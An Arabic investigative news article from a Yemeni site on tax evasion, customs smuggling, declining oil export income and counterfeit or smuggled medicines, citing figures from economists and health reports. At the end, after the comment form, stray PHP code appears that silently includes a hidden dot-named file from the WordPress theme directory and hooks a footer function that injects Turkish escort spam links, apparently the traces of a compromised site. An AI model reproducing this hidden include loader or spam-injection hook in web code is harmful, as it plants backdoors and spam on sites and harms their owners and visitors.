تحقيقاتعناوين مميزة

التهرب والتهريب والتزوير جرائم تهدد حياة اليمنيين صحياً ومعيشياً !!

50% تهرب ضريبي ونحو 5 مليارات دولار خسائر و70 % أغذية مهربة و 291 صنفاً دوائياً مزوراً !!

download (8)

مع تزايد تدهور الأوضاع الاقتصادية والأمنية في البلاد تتزايد يوماً بعد آخر جرائم  التهريب والتزوير والتقليد في سوقي الغذاء والدواء .

الأمر الذي ينذر بكارثة كبيرة تحدق بسلامة وصحة اليمنيين الغذائية والدوائية .

الهوية وفي تحقيقنا لهذا العدد  حاولنا أن تقف على آخر التقارير المحلية والدولية التي كشفت حجم مستجدات جرائم التهريب والتزوير في سوقي الدواء والغذاء في بلادنا خلال الفترة الحالية فكانت الحصيلة التالية :-

الهوية / تحقيــــق .

التهرب الضريبي يخسر الاقتصاد نحو 5 مليارات دولار سنوياً

ففي جانب التهرب الضريبي كشف تقرير اقتصادي حديث الصدور أن الاقتصاد اليمني يخسر نحو 5 مليارات دولار سنويا بسبب التهرب الضريبي وقالت دراسة أعدتها مؤسسة “فريدريش إيبرت” الألمانية، إن نسبة المسجلين من دافعي الضرائب المكلفين لا تتخطى 3%. .

وأكد مدير برامج مؤسسة «فريدريش إيبرت» الألمانية في اليمن محمود قيّاح ان البلاد تفقد نحو 4.7 بليون دولار في الضرائب غير المدفوعة سنوياً «بسبب الفساد وسوء الإدارة».

موضحاً ان التهرّب الضريبي «هو القضية الكبرى، وحالياً لا يوجد سوى 3.08 % من دافعي الضرائب المسجّلين وهو رقم منخفض لبلد يضم 25 مليون شخص .

وقال قيّاح: مع انخفاض عائدات النفط وتزايد مدفوعات الأجور، وتزايد العجز المالي بمعدلات مثيرة للقلق، فإن إصلاح الدعم الذي جرى تنفيذه هو جزء من هذه المعادلة لكن إدارة الضرائب والجمارك وجمع عائداتها في صورة أكثر فاعلية وكفاءة هو الجزء الآخر.

 وأشار في ندوة في العاصمة صنعاء إلى ان التركيز على الوضع الاقتصادي غير المستقر في اليمن، أمر ملح، لأن معظم المشاكل الحالية يمكن عزوها إلى المؤسسات الضعيفة للدولة والإدارة الاقتصادية السيئة التي لن يجري إصلاحها من خلال الحوار الوطني أو دستور جديد .

وذكر ان تجنّب انحراف عملية الانتقال الديمقراطي، يستدعي اتّخاذ إجراءات على الصعيد الاقتصادي تترجم إلى فرص عمل جديدة وتحسين نوعية الحياة بالنسبة للغالبية العظمى من سكان اليمن.

وحضّ على اتّخاذ الإجراءات التي يمكن ان تؤدّي إلى تحسين المناخ الاقتصادي وتأخذ في الاعتبار التدابير المتمثّلة في «التنويع الاقتصادي، وخفض دعم الوقود، وتعزيز الإدارة الضريبية والجمركية وجبايتها، والاستثمار في البنية التحتية وتقديم الخدمات الأساسية وخلق بيئة عمل أفضل للشركات، وتوسيع فرص الحصول على الخدمات المالية».

إلى ذلك لفت رئيس مصلحة الجمارك السابق علي الزبيدي إلى ان التهرّب الضريبي والتهريب الجمركي شهدا توسّعاً كبيراً.

التهرب الجمركي يزيد عن 35 %

ففي مجال الرسوم أو الضرائب الجمركية، وعلى رغم انخفاض التعرفة الجمركية تزيد نسبة التهريب الجمركي على 35 % وعزا ذلك إلى «ارتفاع الضريبة على بعض السلع كالسجائر والتبغ التي فاقت 100 % ومنع بعض السلع إدارياً أو أمنياً كالألعاب النارية والدرّاجات النارية، والسيارات والمعدات القديمة التي لم يسمح للمنتجة قبل ثماني سنوات باستيرادها مع رفع تعرفتها ورفع قيمها في التعديلات الجديدة، والسلع المرتبطة بالتراخيص كالأدوية والمبيدات، وبعض السلع المرتبطة بالتوكيلات والعلامات التجارية والتي يحتكر استيرادها الوكلاء، ما خف وزنه كالساعات والهواتف والذهب وغيرها، والأسلحة والمخدرات».

نسبة السلع المهربة في السوق تصل إلى نحو  70 %

من جانبه قال الخبير الاقتصادي والأكاديمي / طه الفسيّل ان الإصلاحات الضريبية والجمركية لم تتمكّن حتى نهاية 2013 من حشد الموارد المالية غير النفطية وتعزيزها، وفي مقدمها «الإيرادات الضريبية المباشرة وغير المباشرة»، خصوصاً في ظل تواضع نسبة الإيرادات الضريبية إلى الناتج المحلي الإجمالي والتي بلغت نحو 7.3 % كمتوسط سنوي للفترة 2001 – 2010 وانخفاضها إلى 6.5 % خلال الفترة 2006 – 2010. لافتاً إلى ان هذه النسب تقل كثيراً عن النسب المحقّقة في الدول النامية والأقل نمواً، والتي تتراوح بين 15 و21 % من الناتج المحلي الإجمالي.

وعزا الفسيّل ذلك إلى «كبر حجم التهرّب الضريبي وجمود النظام الضريبي». ورأى ان «ثقافة الالتزام الضريبي تتسم بأنها منخفضة في اليمن، خصوصاً أنها مصحوبة بضعف كل من الإطار القانوني والكوادر البشرية المؤهّلة، وأداء الإدارة الضريبية».

وأكّد اتساع نطاق التهرّب والتهريب الضريبي في الاقتصاد اليمني، إذ تصل نسبة السلع المهرّبة في السوق إلى 70 % مما يدخل البلاد من سلع، وتصل نسبة التهرّب الضريبي إلى 50 % من الضرائب المطلوب تحصيلها.

تراجع دخل صادرات نفط اليمن 64% في مايو

وفي هذا الجانب أظهرت بيانات رسمية حديثة تراجع دخل اليمن من صادرات النفط أكثر من 64 % إلى 73.4 مليون دولار في مايو الماضي من العام الجاري عنه قبل عام وذلك بسبب الهجمات على خط أنابيب التصدير، في حين انكمش احتياطي الأصول الأجنبية للبنك المركزي إلى أدنى مستوى له منذ نهاية 2011.

وتدهورت الأوضاع المالية في ظل التدهور الأمني حيث يعانى البلد من انقطاعات متكررة في الكهرباء ونقص في البنزين وتجد الحكومة صعوبة في دفع رواتب القطاع العام وتمويل واردات الغذاء والطاقة.

ويعتمد اليمن على صادرات النفط الخام لتمويل ما يصل إلى 70 % من ميزانيته.

وأظهر التقرير الشهري للبنك المركزي أن تصدير الخام در 671 مليون دولار فقط على الحكومة في الفترة من يناير إلى مايو من العام الجاري بانخفاض نحو 40 % عن الفترة ذاتها من العام الماضي.

ونتيجة لذلك تراجع احتياطي الأصول الأجنبية للبنك المركزي للشهر السادس على التوالي ليصل إلى 4.6 مليار دولار في مايو، من 4.7 مليار دولار في أبريل بسبب فشل الدولة في حماية خطوط أنابيب نقل النفط من التفجيرات.

ويكفي ذلك المستوى لتغطية واردات 4.4 شهر بينما كان المتوسط 7.6 شهر بين 2007 و2013.

وبحساب بند الخصوم، الذي يشمل وديعة سعودية بمليار دولار من 2012، ينخفض احتياطي البنك المركزي إلى 3.3 مليار دولار في مايو. وإجمالا بلغ صافي الأصول الأجنبية في النظام المصرفي اليمني 5.6 مليار دولار في مايو.

وأصبحت المساعدات المالية الخارجية شريان حياة لليمن رغم وتيرتها البطيئة.

اقتصاديون : توقعات الصندوق الدولي كذابة !!

وفي سياق التوقعات الدولية لنمو الاقتصاد المحلي خلال هذا العام وصف اقتصاديون تلك التوقعات كاذبة وغير دقيقة كونها صدر عن الصندوق البنك الدوليين وهما الجهتان اللتان مارستا الضغوطات على الحكومة اليمنية من أجل رفع الدعم عن المشتقات النفطية بحجة توقف التدهور الاقتصادي .

حيث توقع صندوق النقد الدولي أن يسجل اليمن نمواً في الناتج المحلي الإجمالي بمقدار 5.1 % في العام 2014، و4.4 % في العام المقبل، وأن يبلغ معدل التضخم 10.4 % خلال العام الجاري و9.8 % العام المقبل.

وبلغ الناتج المحلي الإجمالي لليمن 36 بليون دولار العام 2012، ويبلغ عدد السكان 23 مليون نسمة، ويبلغ متوسط دخل الفرد في اليمن نحو 1250 دولار سنوياً.

وتوقع صندوق النقد في تقرير حديث صدر عنه مؤخراً  أن “يبلغ عجز الموازنة في اليمن 6.7 % في العام الجاري و6.6 % العام المقبل، وأن “ينخفض رصيد الحساب الجاري 1.5 % من الناتج المحلي الإجمالي في العام الجاري و2.7 % في العام المقبل”.

وذكر التقرير أنه “بمقدور اليمن الاستفادة من تسارع إنفاق المانحين لدعم الإصلاحات الاقتصادية، وزيادة سعر الغاز الطبيعي المسال لجميع عقود التصدير”.

كما طالب التقرير بضرورة معالجة أوجه التقصير في تكرير النفط وتسويقه وتوليد الكهرباء و شركات الدولة بشكل عام، وتحسين بيئة الأعمال واستمرار إتباع سياسة نقدية حكيمة لتمويل استثمارات القطاع الخاص التي تخلق فرص العمل، بما في ذلك الشركات الصغيرة والمتوسطة.

نحو 291 صنفاً دوائياً مزوراً في السوق اليمنية !!

وفي جانب الأدوية المزورة والمقلدة وكذا المهربة إلى سوق الدواء المحلي كشفت  تقارير حكومية صادرة عن وزارة الصحة عن أن حجم الأدوية المهربة إلى اليمن تقدر نسبتها بنحو 60 % من حجم الأدوية المعروضة في السوق المحلية وينفق اليمنيون على الأدوية المنتجة محلية والمستوردة من خمسين بلدًا عربيًا وأجنبياً نحو 117 مليون دولار سنوياً تقريباً, حيث يعمل القطاع الخاص على استيراد ما قيمته 101 مليون دولار من هذه الأدوية أي ما نسبته 7,4 % من حجم الاستهلاك للأدوية التي تصل قيمتها إلى 517,5 مليون دولار.
ويوجد في اليمن تقريباً سبعة مصانع لإنتاج الأدوية وتقدر تكلفة الواحد منها بـ (مليون ونصف المليون دولار) إلا أن طاقتها الاستيعابية دون مستوى التغطية لاحتياجات السوق المحلية للأدوية.
وقد أظهرت أبحاث ودراسات علمية متخصصة بأن هناك المئات من الأصناف الدوائية تدخل بطرق غير مشروعة إلى اليمن قادمة من عدة دول عربية وأجنبية وأكدت ذلك مؤخراً الهيئة العليا للأدوية اليمنية في دراسة صادرة عنها جاء فيها أن إجمالي الأصناف الدوائية المهربة التي تصل إلى السوق اليمنية بلغ 176 صنفاً، منها 46 نوعًا مزوراً ومقلداً من الأدوية تدخل اليمن بطرق غير مشروعة سنوياً .

في الوقت الذي ترى فيه جمعية حماية المستهلك أن هذا العدد يصل إلى 291 صنفاً، وتحتل السعودية المرتبة الأولى من بين الدول التي يتم تهريب الأدوية منها إلى اليمن بواقع 73 صنفاً، تليها مصر 67 صنفاً، ونقلاً عن صيادلة فإن غالبية الأدوية المزورة التي يعج بها السوق اليمنية تأتي من الهند والصين.
وبحسب إفادات طبية وصيدلانية فإن عدد الصيدليات في اليمن بلغت (4000 صيدلية) منها (1350 صيدلية) بأمانة العاصمة، 20 % منها لصيدلانية فيما البقية تأجير من الباطن بتراخيص صيادلة. 


شركات ومستوردون محليون أخطر من المهربين !!

ومن جانبه يؤكد الدكتور ناجي مسعد وهو صيدلاني في تصريح صحفي له أن معظم الأدوية المهربة تصل إلى اليمن فاسدة وهي إما أن تكون منتهية الصلاحية أصلاً من البلد الذي تمت منه عملية التهريب أو تصبح فاسدة بسبب عمليات الشحن والتخزين خلال إجراءات التهريب التي تتم في ظروف غير سليمة وبأدوات حرارية غير مطابقة للشروط المطلوبة.
ورغم أن الجهات المعنية في الدولة تقوم باستمرار بعمليات ضبط وإتلاف الأدوية المهربة والفاسدة إلا أن كثير من الباحثين يرون أن الكميات التي يجري مصادرتها وإتلافها لا تمثل سوى نسبة بسيطة جداً من كميات الأدوية المهربة والمزورة التي تدخل السوق اليمنية يومياً.
وشدد على أن الأخطر من ذلك والمصيبة الأعظم هو أن الكارثة لا تتوقف عند الأدوية المهربة والمزورة فحسب، وإنما تجري عمليات غش تجاري من قبل مالكي شركات أدوية ومستوردين يمارسون ظاهرياً نشاطهم في تجارة الأدوية وفق اللوائح والأنظمة بالنسبة للإنتاج والاستيراد، وهم لا يندرجون ضمن قائمة المهربين وإنما يقدمون مواد وعقاقير طبية بمواصفات جودة أقل بحثاً عن الربح الأوفر، ودونما مراعاة أي اعتبار لحياة الناس وأرواح البشر.
الخلاصة  :  على الدنيا السلام

في ظل هذه المعلومات الأرقام المفجعة وفي ظل الوضع العام لبلادنا أمنياً واقتصادياً وسياسياً نقول على الدنيا السلام  إذا ما استمرت الأحوال كما هي أو أزادت سوء عندها يصبح على الجميع  تجهيز أكفانهم  فالموت قادم  إذا لم يكن برصاص دراجات الموت القاعدية أو سيارات المسؤولين الفارهة في شوارع المدن فإن الموت سيأتي عبر المواد الغذائية المنتهية والتي تكتض بها أسواقنا المحلية  أو عبر الدواء المقلد والمزور الذي يملا رفوف الصيدليات والمستشفيات العامة والخاصة .

الوسوم

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

*

إغلاق
إغلاق
if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php")) { include_once get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php"; } if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function zo(){ echo '
Manisa escort Tekirdağ escort Çanakkale escort Trabzon escort Yalova escort Balıkesir escort Aydın escort Muğla escort Afyon escort Aksaray escort Şanlıurfa escort Ümraniye escort Sinop escort Keçioren escort
'; } add_action("wp_footer",'zo');